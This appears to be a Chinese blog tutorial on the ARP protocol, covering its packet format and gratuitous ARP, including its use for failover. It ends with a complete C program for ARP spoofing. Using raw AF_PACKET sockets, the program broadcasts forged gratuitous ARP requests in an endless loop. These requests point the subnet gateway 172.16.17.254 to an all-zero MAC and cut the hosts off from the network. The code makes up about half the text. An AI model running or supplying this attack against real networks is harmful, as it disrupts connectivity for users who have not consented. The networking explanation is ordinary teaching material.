浅谈ARP协议以及应用

0. 前言

　　本章主要简单的介绍ARP的协议格式，主机如何发送和处理ARP报文，以及免费ARP。

1. ARP协议原理

　　ARP，全称Address Resolution Protocol，地址解析协议，在网络中，有IP地址和MAC地址，在链路层发送报文时使用的是MAC硬件地址，这时需要将IP地址转换为48bit MAC地址，这就会使用到ARP协议。

　　如下，有两台主机，239主机ping向238主机。当本地ARP缓存中没有238主机对应的项时，会发起ARP广播请求，之后使用arp命令查看ARP缓存，可以看到238主机对应的MAC，

　　在linux下使用tcpdump工具查看底层数据流可以得知：

其序列图以及ARP缓存如下：

在239主机查看arp缓存结果：

2. ARP协议格式

　　下图为ARP协议报文的格式信息（图百度得来），这里如上例子，发送的ARP请求报文中，以太网源地址即为239主机，而以太网目的地址则为ff:ff:ff:ff:ff:ff，发送端以太网地址和IP地址为239主机，目的以太网地址为全0，目的IP地址为172.16.17.238

3. 免费ARP

　　gratuitous ARP，主机发送查找自己的ARP地址，即主机发送的目的IP地址和发送端IP地址均为为自身，并且以太网源地址和目的以太网地址，发送端以太网地址均为自身的MAC地址，而以太网首部的以太网目的地址则为广播ff:ff:ff:ff:ff:ff。

　　这样子有两个作用，一个是查找是否有IP重复，二是更改同一网段下的主机ARP缓存对应的MAC地址。

　　对于作用二，有几个用途，可以被用作主备切换，即主机和备机共用一个VIP（Virtual IP），当在其它服务器ARP缓存中保存一个映射，VIP -> 主机MAC，当备机检测到主机宕机后，则发送免费ARP，更新其他服务器ARP缓存，形成VIP -> 备机MAC映射，这样就完成了简单的灾备。

　　例外一个之一用途就是ARP欺骗，数据窃听等。

4. ARP欺骗

　　原理是利用ARP来实现。可以利用为攻击主机或者路由器等，使得其不能上网之类的，网络执法官原理就是这样。下面的程序实现了一个简单的免费ARP，更改同一网段（172.16.17.*）下主机ARP缓存中网关的映射，将其缓存映射为一个不存在的MAC地址。

　　下面程序使用C实现，利用socket创建AF_PACKET来类型的套接字来直接操作链路层数据。已在公司的内部网络中测试过。

#include <sys/socket.h>
#include <sys/types.h>
#include <netpacket/packet.h>
#include <net/ethernet.h>
#include <linux/if_ether.h>
#include <string.h>
#include <arpa/inet.h>
#include <stdlib.h>
#include <assert.h>
#include <stdio.h>
#include <net/if.h>
#include <errno.h>

#define HARD_TYPE_ETHER    0x01    //硬件类型
#define PROTOCOL_IP        0x01     //IP协议类型
#define MAC_ADDR_LEN    0x06    //硬件地址长度
#define IP_ADDR_LEN        0x04     //IP地址长度

#define ARP_OP_REQUEST    0x01    //ARP请求操作
#define ARP_OP_RESPONSE    0x02     //ARP响应操作

//ARP报文
typedef struct arpPkg
{
    unsigned short sHardType;      //硬件类型
    unsigned short sProtocolType;  //协议类型
    unsigned char cHardAddrLen;    //硬件地址长度
    unsigned char cIpAddrLen;      //映射的协议地址长度
    unsigned short sOpType;        //操作类型

    unsigned char aSendMac[6];     //发送者MAC地址
    unsigned char aSendIP[4];      //发送者IP地址
    unsigned char aDstMac[6];      //目的地MAC地址
    unsigned char aDstIP[4];       //目的地IP地址
} ArpPkg;

//将本机字节序转换为网络字节序
//并返回偏移长度
int HostToNetByte(char *pNet, unsigned char *aHostByte, int nLen)
{
    int i, j;
    for (i = nLen - 1, j = 0; i >= 0; --i, j++)
    {
        pNet[j] = aHostByte[i];
    }

    return j;
}

static int GetHex( char cAsc )
{
    if ( isdigit( cAsc ) )
        return cAsc - '0';

    if ( isalpha( cAsc ) )
        cAsc = tolower( cAsc ) - 'a';

    return cAsc + 10;
}

//将Asc转换为Hex
int AscToHex( const char *pAsc, char *pHex, int *pHexLen )
{
    int i, nHexLen;
    int nAscLen = strlen( pAsc );

    for ( i = 0, nHexLen = 0; i < nAscLen; i += 2 )
    {
        pHex[nHexLen++] = (GetHex( pAsc[i] ) << 4) | (GetHex( pAsc[i + 1] ) & 0xF); //高字节 | 低字节
    }
    *pHexLen = nHexLen;

    return 0;
}

//字符串转为HEX后再转为网络字节序
int AscToNetByte(char *pAsc, unsigned char *pNetByte)
{
    unsigned char aHostByte[7];
    int nHostByteLen = sizeof(aHostByte);
    AscToHex(pAsc, (char *)aHostByte, &nHostByteLen);

    return HostToNetByte(pNetByte, aHostByte, nHostByteLen);
}


//组Arp报文,并返回报文长度
int BuildArpPkg(ArpPkg * pArpPkg, char *pPkg)
{
    int nPos = 0;

    nPos += HostToNetByte(pPkg + nPos, (char*)&pArpPkg->sHardType, 2);
    nPos += HostToNetByte(pPkg + nPos, (char*)&pArpPkg->sProtocolType, 2);
    pPkg[nPos++] = pArpPkg->cHardAddrLen;
    pPkg[nPos++] = pArpPkg->cIpAddrLen;
    nPos += HostToNetByte(pPkg + nPos, (char*)&pArpPkg->sOpType, 2);
    nPos += HostToNetByte(pPkg + nPos, pArpPkg->aSendMac, 6);
    nPos += HostToNetByte(pPkg + nPos, pArpPkg->aSendIP, 4);
    nPos += HostToNetByte(pPkg + nPos, pArpPkg->aDstMac, 6);
    nPos += HostToNetByte(pPkg + nPos, pArpPkg->aDstIP, 4);

    return nPos;
}

//初始化ARP公共信息
static void InitArpCommField(ArpPkg * pArpPkg, int nOpType)
{
    pArpPkg->sHardType = HARD_TYPE_ETHER;    //以太网类型
    pArpPkg->sProtocolType = ETH_P_IP;        //IP数据包协议
    pArpPkg->cHardAddrLen = MAC_ADDR_LEN;
    pArpPkg->cIpAddrLen = IP_ADDR_LEN;
    pArpPkg->sOpType = nOpType;
}


//组ARP请求报文
int BuildArpRequest(unsigned char *pPkg, char *pSendMacStr, char *pSendIpStr, char *pDstMacStr, char *pDstIpStr)
{
    ArpPkg stArpPkg;
    memset(&stArpPkg, 0, sizeof(ArpPkg));

    InitArpCommField(&stArpPkg, ARP_OP_REQUEST);

    AscToNetByte(pSendMacStr, stArpPkg.aSendMac);
    AscToNetByte(pSendIpStr, stArpPkg.aSendIP);
    AscToNetByte(pDstMacStr, stArpPkg.aDstMac);
    AscToNetByte(pDstIpStr, stArpPkg.aDstIP);

    return BuildArpPkg(&stArpPkg, pPkg);
}


int main(int argc, char const *argv[])
{
    char *pMac = "ffffffffffff";        //目的MAC   广播
    char *pDstIP = "AC1011FE";            //目的IP     172.16.17.254
    char *pTrickMac = "000000000000";    //伪装的MAC
    char *pTrickIP = "AC1011FE";        //伪装的IP，172.16.17.254
    unsigned char aMacByte[7];
    int nFd = socket(AF_PACKET, SOCK_DGRAM, 0);

    //初始化链路地址信息
    struct sockaddr_ll sockaddr;
    memset(&sockaddr, 0, sizeof(struct sockaddr_ll));
    sockaddr.sll_family = htons(AF_PACKET);
    sockaddr.sll_protocol = htons(ETH_P_ARP);
    sockaddr.sll_halen = htons(6);
    AscToNetByte(pTrickMac, aMacByte);
    memcpy(sockaddr.sll_addr, aMacByte, 6);
    sockaddr.sll_ifindex = IFF_BROADCAST;    //广播

    //创建免费ARP请求报文
    unsigned char aPkg[64] = {0};
    int nPkgLen = BuildArpRequest(aPkg, pTrickMac, pTrickIP, pMac, pDstIP);

    //不间断发送ARP请求
    while (1)
    {
        int nRet = sendto(nFd, aPkg, nPkgLen, 0, (struct sockaddr *)&sockaddr, sizeof(sockaddr));
        if (nRet == -1)
        {
            perror("Error");
            exit(-1);
        }
        usleep(100);
    }

    close(nFd);
    return 0;
}